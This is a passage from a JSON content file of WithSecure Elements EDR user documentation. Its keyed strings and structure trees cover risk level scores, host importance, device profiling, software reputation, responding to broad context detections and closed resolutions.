"content.p_using_search_filters_000023996": "The saved view saves all filters, the search string and the columns that are visible when the view is saved.", "desc": [ "content.p_using_search_filters_00001FEF5", { "steps.steps_using_search_filters_00001F387": [ "step.step_using_search_filters_00001F59E", "step.step_using_search_filters_000019F88", "content.p_using_search_filters_000013394", "step.step_using_search_filters_000011D8B", { "substeps.substepsalpha_usingalpha_searchalpha_filtersalpha_00002D128": [ "substep.substep_using_search_filters_0000287BD", "substep.substep_using_search_filters_00002744A" ] }, "step.step_using_search_filters_00002E3DE", "content.note_using_search_filters_000027CC7" ] }, "content.p_using_search_filters_000023996" ] }, "risk_level-latest-en.json": { "title": "title_risk_level_000001_2E54EEC4", "title_risk_level_000001_2E54EEC4": "Risk level score", "shortdesc": "shortdesc_risk_level_000002_6C252715", "shortdesc_risk_level_000002_6C252715": "The risk level score shows the estimated risk of a detection in the customer environment.", "content.p_risk_level_000010_B7E2D2BB": "The detection severity and the accuracy of the detected activity, rule, or sub-detection determine the risk level score. The score also considers the importance of the endpoint where the risk was detected.", "content.dt_risk_level_000013_60205E6F": "Severity", "content.dd_risk_level_000014_6F73E110": "Severity refers to the potential impact of the activity if the intent behind it is malicious.", "content.dt_risk_level_000016_1723595E": "Fidelity", "content.dd_risk_level_000017_43485238": "Fidelity indicates the probability that a detected activity is a result of malicious behavior.", "content.dt_risk_level_000019_7DF46CE9": "Asset importance", "content.dd_risk_level_00001A_691DB810": "Asset importance determines the level of reporting sensitivity for endpoints.", "content.p_risk_level_00001B_A5214DE7": "The threat level is determined based on this data. The overall risk level of an incident is calculated by combining these threat levels from several occurrences.", "content.title_risk_level_00001C_5C6C7D16": "Risk level score ranges", "cell.entry_risk_level_000024_9F2D8534": "Risk level score", "cell.entry_risk_level_000025_31C6C7C8": "Color code", "cell.entry_risk_level_000026_4B57B7C9": "Severity", "cell.entry_risk_level_000027_F97ADDFA": "Description", "cell.entry_risk_level_00002A_E60F3C6F": "36-65", "cell.entry_risk_level_00002B_5FFF9536": "Grey", "cell.entry_risk_level_00002C_91C5463E": "Low risk level", "cell.entry_risk_level_00002D_8FA7526E": "No notable unusual activity.", "cell.entry_risk_level_00002F_CD2F6197": "66-75", "cell.entry_risk_level_000030_6B05592D": "Yellow", "cell.entry_risk_level_000031_8818FCE3": "Medium risk level", "cell.entry_risk_level_000032_AE01335B": "Increased risk of malicious cyber activities, but nothing significant has occurred.", "cell.entry_risk_level_000034_445FD74E": "76-90", "cell.entry_risk_level_000035_5B9CFB34": "Orange", "cell.entry_risk_level_000036_FDA39ADD": "High risk level", "cell.entry_risk_level_000037_977E67A7": "Significant risk of malicious cyber activities or the potential incident can cause severe damage in the customer environment.", "cell.entry_risk_level_000039_E9DD7344": "91-100", "cell.entry_risk_level_00003A_392C89F9": "Red", "cell.entry_risk_level_00003B_000FE75D": "Severe risk level", "cell.entry_risk_level_00003C_22EAB32E": "Severe risk of malicious cyber activities and the potential incident can compromise critical hosts in the customer environment.", "desc": [ "content.p_risk_level_000010_B7E2D2BB", { "dl.dl_risk_level_000011_5044C81A": [ { "dlentry.dlentry_risk_level_000012_E31CD55C": [ "content.dt_risk_level_000013_60205E6F", "content.dd_risk_level_000014_6F73E110" ] }, { "dlentry.dlentry_risk_level_000015_604440D7": [ "content.dt_risk_level_000016_1723595E", "content.dd_risk_level_000017_43485238" ] }, { "dlentry.dlentry_risk_level_000018_2591AD71": [ "content.dt_risk_level_000019_7DF46CE9", "content.dd_risk_level_00001A_691DB810" ] } ] }, "content.p_risk_level_00001B_A5214DE7", "content.title_risk_level_00001C_5C6C7D16", { "table.table_risk-level-score-ranges": [ { "thead.thead_risk_level_000022_6B9DDEA3": [ "cell.entry_risk_level_000024_9F2D8534", "cell.entry_risk_level_000025_31C6C7C8", "cell.entry_risk_level_000026_4B57B7C9", "cell.entry_risk_level_000027_F97ADDFA" ] }, { "row.row_risk_level_000029_F4AE4E87": [ "cell.entry_risk_level_00002A_E60F3C6F", "cell.entry_risk_level_00002B_5FFF9536", "cell.entry_risk_level_00002C_91C5463E", "cell.entry_risk_level_00002D_8FA7526E" ] }, { "row.row_risk_level_00002E_5A405AFA": [ "cell.entry_risk_level_00002F_CD2F6197", "cell.entry_risk_level_000030_6B05592D", "cell.entry_risk_level_000031_8818FCE3", "cell.entry_risk_level_000032_AE01335B" ] }, { "row.row_risk_level_000033_E29948DB": [ "cell.entry_risk_level_000034_445FD74E", "cell.entry_risk_level_000035_5B9CFB34", "cell.entry_risk_level_000036_FDA39ADD", "cell.entry_risk_level_000037_977E67A7" ] }, { "row.row_risk_level_000038_F0813671": [ "cell.entry_risk_level_000039_E9DD7344", "cell.entry_risk_level_00003A_392C89F9", "cell.entry_risk_level_00003B_000FE75D", "cell.entry_risk_level_00003C_22EAB32E" ] } ] } ] }, "updating_host_importance-latest-en.json": { "title": "title_updating_host_importance_08317", "title_updating_host_importance_08317": "Change the importance of monitored hosts", "shortdesc": "shortdesc_updating_host_importance_0AB68", "shortdesc_updating_host_importance_0AB68": "The criticality of a detection is partly based on the importance of the affected hosts. ", "content.p_updating_host_importance_09917": "WithSecure Elements Endpoint Detection and Response classifies hosts into the following groups automatically based on processes running on them:", "step.step_updating_host_importance_0F6A4": "Server", "step.step_updating_host_importance_0CB21": "Technical device", "step.step_updating_host_importance_02718": "Non-technical", "step.step_updating_host_importance_0299C": "Unknown (not enough data to determine the profile)", "content.p_updating_host_importance_0B58B": "The incident risk score increases when an attack targets a host that has been classified as a server.", "content.p_updating_host_importance_0DB5E": "To manually change the importance of monitored hosts, follow these instructions:", "step.step_updating_host_importance_02175": "Go to the Environment > Devices view of the customer organization that you want to edit.", "content.p_updating_host_importance_096AD": "The EDR Device classification column shows how WithSecure Elements Endpoint Detection and Response has classified the host and the Device Importance column shows the importance you have assigned to the host.", "step.step_updating_host_importance_0BBAD": "In the View menu, select EDR status.", "step.step_updating_host_importance_01AF7": "Select the host that you want to edit by selecting its name.", "step.step_updating_host_importance_00631": "Select Update importance.", "step.step_updating_host_importance_0FC11": "Select the new status for the selected hosts from the pull-down menu.", "step.step_updating_host_importance_0A9D0": "Select Update.", "content.p_updating_host_importance_0E793": "The selected hosts are updated with the new importance.", "desc": [ "content.p_updating_host_importance_09917", { "steps.ul_updating_host_importance_0C5B5": [ "step.step_updating_host_importance_0F6A4", "step.step_updating_host_importance_0CB21", "step.step_updating_host_importance_02718", "step.step_updating_host_importance_0299C" ] }, "content.p_updating_host_importance_0B58B", "content.p_updating_host_importance_0DB5E", { "steps.steps_updating_host_importance_09501": [ "step.step_updating_host_importance_02175", "step.step_updating_host_importance_0BBAD", "content.p_updating_host_importance_096AD", "step.step_updating_host_importance_01AF7", "step.step_updating_host_importance_00631", "step.step_updating_host_importance_0FC11", "step.step_updating_host_importance_0A9D0" ] }, "content.p_updating_host_importance_0E793" ] }, "automatic_device_profiling-latest-en.json": { "title": "title_automatic_device_profili_0640F", "title_automatic_device_profili_0640F": "Automatic device profiling", "shortdesc": "shortdesc_automatic_device_profili_01799", "shortdesc_automatic_device_profili_01799": "Automatic device profiling models process event data from endpoint devices. ", "content.p_automatic_device_profili_05CAD": "Automatic profiling divides the devices into four main groups. The confidence factor shows how sure the automatic modeling is about the information that it gathered. For example, \"Server 95%\" means that the model is highly confident that the device is a server.", "content.title_automatic_device_profili_060F6": "Device profiling groups", "cell.entry_automatic_device_profili_01780": "Profiling group", "cell.entry_automatic_device_profili_0BEFC": "Description", "cell.entry_automatic_device_profili_00856": "Server", "cell.entry_automatic_device_profili_0AAF8": "Runs significant amount of server-specific processes.", "cell.entry_automatic_device_profili_008E7": "Technical device", "cell.entry_automatic_device_profili_0F68B": "Runs processes used for system or network administration purposes or other technical use, for example, for developer tools.", "cell.entry_automatic_device_profili_06140": "Non-technical device", "cell.entry_automatic_device_profili_0BE32": "Runs typical user software, such as browsers and office tools, but not any developer related tooling or database processes, etc.", "cell.entry_automatic_device_profili_0651B": "Unknown", "cell.entry_automatic_device_profili_01212": "Not enough data to choose the profile reliably.", "content.p_automatic_device_profili_09C66": "Along with the main group, a device can have extra labels to give a more complete understanding of how the device behaves and what it is like.", "content.title_automatic_device_profili_0082C": "Additional device classifications", "cell.entry_automatic_device_profili_0CE99": "Additional classification", "cell.entry_automatic_device_profili_0825B": "Description", "cell.entry_automatic_device_profili_0F4D7": "Domain controller", "cell.entry_automatic_device_profili_0A657": "Device acts as a Domain Controller", "cell.entry_automatic_device_profili_0E2CA": "Virtual network interface", "cell.entry_automatic_device_profili_0D655": "Device has at least one virtual network interface", "cell.entry_automatic_device_profili_08D8C": "Virtual guest", "cell.entry_automatic_device_profili_06FA1": "Device acts as a Virtual guest machine", "cell.entry_automatic_device_profili_0567D": "Virtual host", "cell.entry_automatic_device_profili_0EC2D": "Device acts as a Virtual host machine", "cell.entry_automatic_device_profili_0AD66": "Domain Name Server", "cell.entry_automatic_device_profili_072CD": "Device acts as a Domain Name Server", "cell.entry_automatic_device_profili_011B9": "Database server", "cell.entry_automatic_device_profili_0235E": "Device is hosting a database", "cell.entry_automatic_device_profili_0733B": "LDAP server", "cell.entry_automatic_device_profili_0F99C": "Device acts as a Lightweight Directory Access Protocol server", "cell.entry_automatic_device_profili_018B4": "File server", "cell.entry_automatic_device_profili_07A3B": "Device acts as a file server", "cell.entry_automatic_device_profili_0E80F": "Mail server", "cell.entry_automatic_device_profili_0B97A": "Device acts as a mail server", "desc": [ "content.p_automatic_device_profili_05CAD", "content.title_automatic_device_profili_060F6", { "table.table_device-profiling-groups": [ { "thead.thead_automatic_device_profili_09A8B": [ "cell.entry_automatic_device_profili_01780", "cell.entry_automatic_device_profili_0BEFC" ] }, { "row.row_automatic_device_profili_0255A": [ "cell.entry_automatic_device_profili_00856", "cell.entry_automatic_device_profili_0AAF8" ] }, { "row.row_automatic_device_profili_00275": [ "cell.entry_automatic_device_profili_008E7", "cell.entry_automatic_device_profili_0F68B" ] }, { "row.row_automatic_device_profili_0BFA3": [ "cell.entry_automatic_device_profili_06140", "cell.entry_automatic_device_profili_0BE32" ] }, { "row.row_automatic_device_profili_0DD47": [ "cell.entry_automatic_device_profili_0651B", "cell.entry_automatic_device_profili_01212" ] } ] }, "content.p_automatic_device_profili_09C66", "content.title_automatic_device_profili_0082C", { "table.table_additional-device-classifi48C8": [ { "thead.thead_automatic_device_profili_0420A": [ "cell.entry_automatic_device_profili_0CE99", "cell.entry_automatic_device_profili_0825B" ] }, { "row.row_automatic_device_profili_0BF36": [ "cell.entry_automatic_device_profili_0F4D7", "cell.entry_automatic_device_profili_0A657" ] }, { "row.row_automatic_device_profili_0300C": [ "cell.entry_automatic_device_profili_0E2CA", "cell.entry_automatic_device_profili_0D655" ] }, { "row.row_automatic_device_profili_008A5": [ "cell.entry_automatic_device_profili_08D8C", "cell.entry_automatic_device_profili_06FA1" ] }, { "row.row_automatic_device_profili_09CC6": [ "cell.entry_automatic_device_profili_0567D", "cell.entry_automatic_device_profili_0EC2D" ] }, { "row.row_automatic_device_profili_032F6": [ "cell.entry_automatic_device_profili_0AD66", "cell.entry_automatic_device_profili_072CD" ] }, { "row.row_automatic_device_profili_09736": [ "cell.entry_automatic_device_profili_011B9", "cell.entry_automatic_device_profili_0235E" ] }, { "row.row_automatic_device_profili_0A3CA": [ "cell.entry_automatic_device_profili_0733B", "cell.entry_automatic_device_profili_0F99C" ] }, { "row.row_automatic_device_profili_0E771": [ "cell.entry_automatic_device_profili_018B4", "cell.entry_automatic_device_profili_07A3B" ] }, { "row.row_automatic_device_profili_054AD": [ "cell.entry_automatic_device_profili_0E80F", "cell.entry_automatic_device_profili_0B97A" ] } ] } ], "related": [ "updating_host_importance-latest-en" ] }, "software_view-latest-en.json": { "title": "title_software_view_000001_949A7860", "title_software_view_000001_949A7860": "Investigate software", "shortdesc": "shortdesc_software_view_000002_090F395F", "shortdesc_software_view_000002_090F395F": "Sensor data helps you investigate which applications are used in your organization. ", "content.p_software_view_000011_9BF52FD3": "The Environment > Software Reputation view lists the top 100 applications that have been launched in the organization during the past 30 days. It provides visibility to executed software components even if the installation has not been done within the endpoint. For each launched executable component, the reputation indicates whether it is considered to be safe, potentially unwanted, unknown, or harmful.", "content.note_software_view_000015_06E379B4": "Note: The Software Reputation view does not list background applications. It lists applications from endpoints with Windows operating system only. The list does not include software components that are installed but unused.", "content.p_software_view_000017_F75F864D": "Investigate software as follows:", "content.p_software_view_00001E_133339A8": "The Software Reputation view lists the most used applications.", "step.step_software_view_000019_CF7A5C4B": "Select Environment > Software Reputation.", "content.note_software_view_000023_0FB5AB89": "Tip: You can use the search, for example, to find all Microsoft applications or software with an unknown reputation.", "content.p_software_view_000026_B4F9EE60": "The detailed view shows the number of devices where the application has been launched, its reputation, the full product name, and the vendor. It also lists the subcomponents of the application with version details and a hash that you can use to search external sources for more details.", "step.step_software_view_000020_764CC864": "Select the application that you want to investigate from the list.", "step.step_software_view_000027_07FEAD1A": "Select the number of devices in the detailed view to see more information about the devices that have launched the selected software.", "content.p_software_view_000029_3CD6C2C9": "The Software Reputation view shows the application's reputation details and the devices that have launched it.", "desc": [ "content.p_software_view_000011_9BF52FD3", "content.note_software_view_000015_06E379B4", "content.p_software_view_000017_F75F864D", { "steps.steps_software_view_000018_3E0F7C7B": [ "step.step_software_view_000019_CF7A5C4B", "content.p_software_view_00001E_133339A8", "step.step_software_view_000020_764CC864", "content.note_software_view_000023_0FB5AB89", "content.p_software_view_000026_B4F9EE60", "step.step_software_view_000027_07FEAD1A" ] }, "content.p_software_view_000029_3CD6C2C9" ] }, "handling_detections-latest-en.json": { "title": "title_handling_detections_0000013AC5", "title_handling_detections_0000013AC5": "Respond to detections", "shortdesc": "shortdesc_handling_detections_0000021E13", "shortdesc_handling_detections_0000021E13": "When sensors detect an anomaly in the customer environment, it shows up as a broad context detection in the portal. ", "content.p_handling_detections_00001449A4": "WithSecure Elements Endpoint Detection and Response sensors collect data on behavioral events in hosts where they have been installed to detect any anomalies. For example, if Microsoft Office runs a script that launches PowerShell, sensors detect this as suspicious behavior that you can view in the portal.", "content.p_handling_detections_000016626B": "New broad context detections appear in the portal and the alert recipients receive emails as soon as sensors detect them.", "content.note_handling_detections_0000173B7C": "Note: If a detection relates to an application that you trust, choose the remedy that fits the detection type. For a behavioral broad context detection, create a suppression rule. For an engine or malware false positive, use Request whitelisting.", "content.p_handling_detections_000019F48A": "To respond to a detection:", "content.p_handling_detections_0000207FF7": "The Broad Context Detections view contains all broad context detections that have been found.", "content.note_handling_detections_00002277FF": "Tip: To search for Broad Context Detection based on the ID, filter results based on Data Content and enter the ID number.", "step.step_handling_detections_00001B8B3F": "Select Events > Broad Context Detections.", "content.p_handling_detections_0000264159": "The detection view shows the following information:", "content.dt_handling_detections_00002BC3E7": "The incident type ", "content.dd_handling_detections_00002C7EA6": "Information about the type of incident that the detection looks like.", "content.dt_handling_detections_00002E0255": "The risk level score ", "content.dd_handling_detections_00002FCC64": "The risk level score based on the confidence on how likely the attack would be to succeed, the measure of how much damage the attack could do and how critical the device if for the company that is being attacked.", "content.dt_handling_detections_0000314F5E": "The current status of the detection ", "content.dd_handling_detections_000032DC69": "", "choice.choice_handling_detections_00003404F6": "New: A new detection that has not been confirmed to be an incident.", "choice.choice_handling_detections_000036DF83": "Acknowledged: The incident has been acknowledged as something that must be investigated.", "choice.choice_handling_detections_000038BD13": "In progress: The incident is being handled. For example, the administrators have been notified.", "choice.choice_handling_detections_00003A136C": "Monitoring: The incident has been handled, but it is still being monitored for any further updates.", "choice.choice_handling_detections_00003CA713": "Waiting for customer: The incident is awaiting for a confirmation or response from the end customer before it can be progressed.", "choice.choice_handling_detections_00003E8BE1": "Closed - Incident: The incident has been closed and is no longer monitored. The detection was confirmed as an incident.", "choice.choice_handling_detections_000040ADA7": "Closed - False positive: The incident has been closed and is no longer monitored. The detection was not malicious.", "choice.choice_handling_detections_000042445B": "Closed - Inconclusive: The incident has been closed and is no longer monitored. The detection was not confirmed to be an incident.", "choice.choice_handling_detections_00004480EC": "Closed - Accepted behavior: The incident has been closed and is no longer monitored. The detection was confirmed as acceptable behavior.", "choice.choice_handling_detections_0000469722": "Closed - Auto Accepted Behavior: The system closed the incident automatically because it matched a suppression rule.", "choice.choice_handling_detections_00004854C9": "Closed - Auto false positive: The system closed the incident automatically because it matched a previously closed false positive.", "content.dt_handling_detections_00004B01DB": "The affected company and hosts ", "content.p_handling_detections_00004DF0FC": "The affected customer organization and the list of targeted hosts.
", "content.p_handling_detections_00004EC770": "Select the organization to view the list of targeted hosts and more information about them.", "content.dt_handling_detections_0000500FA4": "Identical detections ", "content.dd_handling_detections_0000515340": "", "content.dd_p_handling_detections_00005296E6": "The number of identical detections for the company during the past 30 days. Identical incidents have exactly the same activity.
", "content.dd_p_handling_detections_0000539750": "Select the field to view the list of identical detections.
", "content.note_handling_detections_0000546F2E": "Note: If a broad context detection is closed as false positive, all identical incidents are marked false positive automatically.
", "content.p_handling_detections_0000A1F050": "", "content.dt_handling_detections_0000567A94": "Similar detections ", "content.dd_handling_detections_0000573B60": "", "content.dd_p_handling_detections_000058EBBB": "The number of similar detections for the company during the past 30 days. Similar detections can help you to identify possibly related incidents even when the activity is not exactly the same. Similar incidents have a percentage score, which indicates how similar the activity has been.
", "content.dd_p_handling_detections_000059510F": "Select the field to view the list of similar detections.
", "content.note_handling_detections_00005AB49E": "Tip: Use similar detections for example to identify the full scale of a targeted attack or to check what kind of a resolution similar detections had before.
", "content.p_handling_detections_0000A223CD": "", "content.p_handling_detections_0000289974": "", "content.note_handling_detections_00005CEF80": "Tip: You can use Investigation Assistant to get a quick overview and summary of a Broad Context Detection (BCD).", "step.step_handling_detections_00002479F4": "Select the broad context detection that you want to investigate from the list.", "content.p_handling_detections_000064B537": "Select a host to view more details and select a process to view more information about it.", "subchoice.choice_handling_detections_000061D3A8": "The Summary view shows a diagram of affected hosts and processes.", "content.p_handling_detections_000068CAD4": "Navigate the tree to view more information about each process.", "content.note_handling_detections_0000698FBB": "Note: The latest activity that a sensor has detected is at the top of the list.", "subchoice.choice_handling_detections_00006566F2": "The Process tree view shows the events that have triggered the detection.", "subchoice.choice_handling_detections_00006AF2D4": "Add the description of the incident to the Analysis view. Also, you can select the comment icon to view and enter more comments about the incident while you analyze it. These descriptions and comments are included in reports.", "subchoice.choice_handling_detections_00006CFA57": "The Log shows what has happened to the detection so far.", "content.p_handling_detections_00005FF470": "", "content.note_handling_detections_00006F5FAD": "Tip: You can select the pin icon to bookmark the incident and find pinned incidents later with the search.", "step.step_handling_detections_00005DB18E": "Analyze the broad context detection using the available information:", "content.p_handling_detections_000076C3B6": "After you have confirmed an incident, contact the affected company by email to inform them about the incident and instruct them how to resolve the incident and how to work on a possible breach.", "subchoice.choice_handling_detections_000073EC26": "If you suspect that the event you are viewing is an incident, select the current status of the incident to open the drop-down menu and change the status to Acknowledged.", "subchoice.choice_handling_detections_000077D92A": "If you are sure that the event you are viewing is a false positive, change the current status of the incident to Closed > False positive.", "step.step_handling_detections_0000708920": "After analyzing the broad context detection, either confirm the incident or close it as a false positive.", "content.p_handling_detections_00007F657F": "Recommended actions are based on the detected attack type. All actions are not be available for some attacks.", "content.p_handling_detections_000081A9AB": "If you need help resolving the incident, you can elevate the incident to escalate it to WithSecure analysts.", "content.dt_handling_detections_0000878C6D": "Isolate host ", "content.dd_handling_detections_000088ABE4": "Isolate the host system from the network.", "content.dt_handling_detections_00008A6FCA": "Inform users ", "content.dd_handling_detections_00008B370B": "Compose and send an alert email to users of the affected hosts.", "content.dt_handling_detections_00008DA7C2": "Scan host ", "content.dd_handling_detections_00008E37D6": "Perform a full malware scan on the affected host. After the scan has finished, the scan results are available in the scan report under device details in WithSecure Elements Security Center. The scan can take several minutes to complete.
", "content.dd_handling_detections_000090A56B": "", "content.note_handling_detections_000091286A": "Note: The Scan host action is only available for WithSecure Elements EDR and EPP for Computers and WithSecure Elements EDR and EPP for Servers subscriptions.
", "content.dt_handling_detections_000096E9E4": "Collect forensics package ", "content.dd_handling_detections_000097D085": "Collect information from the host to investigate the incident more thoroughly.", "content.p_handling_detections_000084A621": "", "content.p_handling_detections_00009874BC": "The status of the event changes to In progress.", "step.step_handling_detections_00007C9042": "Use either Quick responses or advanced response actions to choose how to handle the incident.", "step.step_handling_detections_00009A603C": "After you have successfully handled the incident, close it. Select the current status of the incident to open the drop-down menu and change the status to Closed > Incident.", "content.note_handling_detections_0000A04322": "Tip: You can archive closed incidents to hide ones that are no longer relevant.", "desc": [ "content.p_handling_detections_00001449A4", "content.p_handling_detections_000016626B", "content.note_handling_detections_0000173B7C", "content.p_handling_detections_000019F48A", { "steps.steps_handling_detections_00001A3987": [ "step.step_handling_detections_00001B8B3F", "content.p_handling_detections_0000207FF7", "content.note_handling_detections_00002277FF", "step.step_handling_detections_00002479F4", "content.p_handling_detections_0000264159", "content.p_handling_detections_0000289974", { "dl.dl_handling_detections_0000294D21": [ { "dlentry.dlentry_handling_detections_00002A3DF8": [ "content.dt_handling_detections_00002BC3E7", "content.dd_handling_detections_00002C7EA6" ] }, { "dlentry.dlentry_handling_detections_00002D61E5": [ "content.dt_handling_detections_00002E0255", "content.dd_handling_detections_00002FCC64" ] }, { "dlentry.dlentry_handling_detections_00003000B5": [ "content.dt_handling_detections_0000314F5E", "content.dd_handling_detections_000032DC69", { "choices.ul_handling_detections_00003380B9": [ "choice.choice_handling_detections_00003404F6", "choice.choice_handling_detections_000036DF83", "choice.choice_handling_detections_000038BD13", "choice.choice_handling_detections_00003A136C", "choice.choice_handling_detections_00003CA713", "choice.choice_handling_detections_00003E8BE1", "choice.choice_handling_detections_000040ADA7", "choice.choice_handling_detections_000042445B", "choice.choice_handling_detections_00004480EC", "choice.choice_handling_detections_0000469722", "choice.choice_handling_detections_00004854C9" ] } ] }, { "dlentry.dlentry_handling_detections_00004AD36F": [ "content.dt_handling_detections_00004B01DB", "content.p_handling_detections_00004DF0FC", "content.p_handling_detections_00004EC770" ] }, { "dlentry.dlentry_handling_detections_00004FE27E": [ "content.dt_handling_detections_0000500FA4", "content.dd_handling_detections_0000515340", "content.dd_p_handling_detections_00005296E6", "content.dd_p_handling_detections_0000539750", "content.note_handling_detections_0000546F2E", "content.p_handling_detections_0000A1F050" ] }, { "dlentry.dlentry_handling_detections_0000556371": [ "content.dt_handling_detections_0000567A94", "content.dd_handling_detections_0000573B60", "content.dd_p_handling_detections_000058EBBB", "content.dd_p_handling_detections_000059510F", "content.note_handling_detections_00005AB49E", "content.p_handling_detections_0000A223CD" ] } ] }, "content.note_handling_detections_00005CEF80", "step.step_handling_detections_00005DB18E", "content.p_handling_detections_00005FF470", { "subchoices.ul_handling_detections_0000600914": [ "subchoice.choice_handling_detections_000061D3A8", "content.p_handling_detections_000064B537", "subchoice.choice_handling_detections_00006566F2", "content.p_handling_detections_000068CAD4", "content.note_handling_detections_0000698FBB", "subchoice.choice_handling_detections_00006AF2D4", "subchoice.choice_handling_detections_00006CFA57" ] }, "content.note_handling_detections_00006F5FAD", "step.step_handling_detections_0000708920", { "subchoices.choices_handling_detections_000072D2BA": [ "subchoice.choice_handling_detections_000073EC26", "content.p_handling_detections_000076C3B6", "subchoice.choice_handling_detections_000077D92A" ] }, "step.step_handling_detections_00007C9042", "content.p_handling_detections_00007F657F", "content.p_handling_detections_000081A9AB", "content.p_handling_detections_000084A621", { "dl.dl_handling_detections_0000855C70": [ { "dlentry.dlentry_handling_detections_0000866C5B": [ "content.dt_handling_detections_0000878C6D", "content.dd_handling_detections_000088ABE4" ] }, { "dlentry.dlentry_handling_detections_0000895839": [ "content.dt_handling_detections_00008A6FCA", "content.dd_handling_detections_00008B370B" ] }, { "dlentry.dlentry_handling_detections_00008C9670": [ "content.dt_handling_detections_00008DA7C2", "content.dd_handling_detections_00008E37D6", "content.dd_handling_detections_000090A56B", "content.note_handling_detections_000091286A" ] }, { "dlentry.dlentry_handling_detections_00009599CA": [ "content.dt_handling_detections_000096E9E4", "content.dd_handling_detections_000097D085" ] } ] }, "content.p_handling_detections_00009874BC", "step.step_handling_detections_00009A603C" ] }, "content.note_handling_detections_0000A04322" ], "related": [ "reporting_false_positives-2-latest-en", "event_search-latest-en", "incident_types-latest-en" ] }, "concept_closed_resolutions-latest-en.json": { "title": "title_closed_resolutions_000001_5097", "title_closed_resolutions_000001_5097": "Closed resolutions for broad context detections", "shortdesc": "shortdesc_closed_resolutions_000002_38F2", "shortdesc_closed_resolutions_000002_38F2": "Each closed broad context detection carries a resolution that records how it was handled and drives future automation.", "content.p_closed_resolutions_000012_6FA4": "When you close a broad context detection, you select a resolution that describes the outcome. Resolutions help the system learn over time, drive automation, and give you a consistent record of how detections were handled.", "content.p_closed_resolutions_000013_2F18": "The following resolutions are available. You set some of them manually; the system applies others automatically.", "content.title_closed_resolutions_000014_A240": "Closed resolutions", "cell.entry_closed_resolutions_00001B_C541": "Resolution", "cell.entry_closed_resolutions_00001C_CE5F": "Set by", "cell.entry_closed_resolutions_00001D_0C75": "Description", "cell.entry_closed_resolutions_000020_5A80": "Incident", "cell.entry_closed_resolutions_000022_E5D1": "User", "cell.entry_closed_resolutions_000023_5571": "The detection is a security issue that requires action. Select this when you confirm the detection as a true incident or unauthorized activity.", "cell.entry_closed_resolutions_000025_EDE0": "Inconclusive", "cell.entry_closed_resolutions_000027_0D73": "User", "cell.entry_closed_resolutions_000028_AE67": "You reviewed the detection but cannot determine whether it is a real security issue because of insufficient information. No automatic actions are taken, and the detection is not used for training or automation.", "cell.entry_closed_resolutions_00002A_F010": "False positive", "cell.entry_closed_resolutions_00002C_EEC3": "User", "cell.entry_closed_resolutions_00002D_11C0": "The detection matches normal, safe application behavior rather than malicious activity. Closing a detection as false positive helps the system learn, so identical detections close automatically in the future.", "cell.entry_closed_resolutions_00002F_8B46": "Accepted behavior", "cell.entry_closed_resolutions_000031_AB2E": "User", "cell.entry_closed_resolutions_000032_FE7E": "The detection resembles a false positive, but differences in its command-line or path parameters mean the system does not treat it as identical. Closing a detection as accepted behavior opens a wizard for creating a suppression rule, where you can fine-tune the matching parameters with wildcards.", "cell.entry_closed_resolutions_000034_A638": "Auto Accepted Behavior", "cell.entry_closed_resolutions_000036_E9E9": "System", "cell.entry_closed_resolutions_000037_61E6": "The system closed the detection automatically because it matched a suppression rule. The detection remains visible for audit and compliance. No action is required, but you can review the suppression rule if needed.", "cell.entry_closed_resolutions_000039_6F03": "Auto false positive", "cell.entry_closed_resolutions_00003B_1945": "System", "cell.entry_closed_resolutions_00003C_1B27": "The system closed the detection automatically because it matched a previously closed false positive. No further monitoring is performed. If you believe the ruling was incorrect, you can review your previous resolutions.", "content.title_closed_resolutions_00003D_5C01": "Choosing the right resolution", "content.p_closed_resolutions_00003E_8E37": "Use the following guidance to select the most appropriate resolution:", "step.step_closed_resolutions_000040_90A2": "Incident - use when you are confident the detection represents a real attack or unauthorized activity.", "step.step_closed_resolutions_000042_79BD": "Inconclusive - use when you have reviewed the detection but cannot determine whether it is a real threat because of missing context.", "step.step_closed_resolutions_000044_F5BB": "False positive - use when the detection was incorrect, or the same alert keeps appearing without security relevance.", "step.step_closed_resolutions_000046_8E9E": "Accepted behavior - use when the behavior was intentional and authorized (for example, a planned admin action) and you do not need to create a suppression rule for it.", "content.note_closed_resolutions_000048_94D5": "Note: Avoid using Inconclusive as a default choice. Reserve it for cases where context is genuinely insufficient — overuse reduces its value for system learning.", "content.title_closed_resolutions_00004A_1F47": "How resolutions affect system behavior", "content.p_closed_resolutions_00004B_7BD3": "Resolutions affect automation and future detections:", "step.step_closed_resolutions_00004D_FE81": "Detections closed as Incident do not trigger automatic suppression, but they improve detection accuracy over time.", "step.step_closed_resolutions_00004F_4BAC": "Detections closed as Inconclusive are excluded from training and automation.", "step.step_closed_resolutions_000051_F5D4": "Detections closed as False positive can cause similar future detections to close automatically as Auto false positive.", "step.step_closed_resolutions_000054_6924": "Detections closed as Accepted behavior can be the basis for a suppression rule, which closes matching future detections automatically as Auto Accepted Behavior.", "content.note_closed_resolutions_000057_9461": "Note: The system does not apply Auto false positive to a detection that was previously resolved as Incident. This keeps real threats from being dismissed automatically.", "desc": [ "content.p_closed_resolutions_000012_6FA4", "content.p_closed_resolutions_000013_2F18", "content.title_closed_resolutions_000014_A240", { "table.table_closed-resolutions": [ { "thead.thead_closed_resolutions_000019_30B9": [ "cell.entry_closed_resolutions_00001B_C541", "cell.entry_closed_resolutions_00001C_CE5F", "cell.entry_closed_resolutions_00001D_0C75" ] }, { "row.row_closed_resolutions_00001F_4842": [ "cell.entry_closed_resolutions_000020_5A80", "cell.entry_closed_resolutions_000022_E5D1", "cell.entry_closed_resolutions_000023_5571" ] }, { "row.row_closed_resolutions_000024_35EA": [ "cell.entry_closed_resolutions_000025_EDE0", "cell.entry_closed_resolutions_000027_0D73", "cell.entry_closed_resolutions_000028_AE67" ] }, { "row.row_closed_resolutions_000029_6F87": [ "cell.entry_closed_resolutions_00002A_F010", "cell.entry_closed_resolutions_00002C_EEC3", "cell.entry_closed_resolutions_00002D_11C0" ] }, { "row.row_closed_resolutions_00002E_3219": [ "cell.entry_closed_resolutions_00002F_8B46", "cell.entry_closed_resolutions_000031_AB2E", "cell.entry_closed_resolutions_000032_FE7E" ] }, { "row.row_closed_resolutions_000033_E319": [ "cell.entry_closed_resolutions_000034_A638", "cell.entry_closed_resolutions_000036_E9E9", "cell.entry_closed_resolutions_000037_61E6" ] }, { "row.row_closed_resolutions_000038_3920": [ "cell.entry_closed_resolutions_000039_6F03", "cell.entry_closed_resolutions_00003B_1945", "cell.entry_closed_resolutions_00003C_1B27" ] } ] }, "content.title_closed_resolutions_00003D_5C01", "content.p_closed_resolutions_00003E_8E37", { "steps.ul_closed_resolutions_00003F_DE76": [ 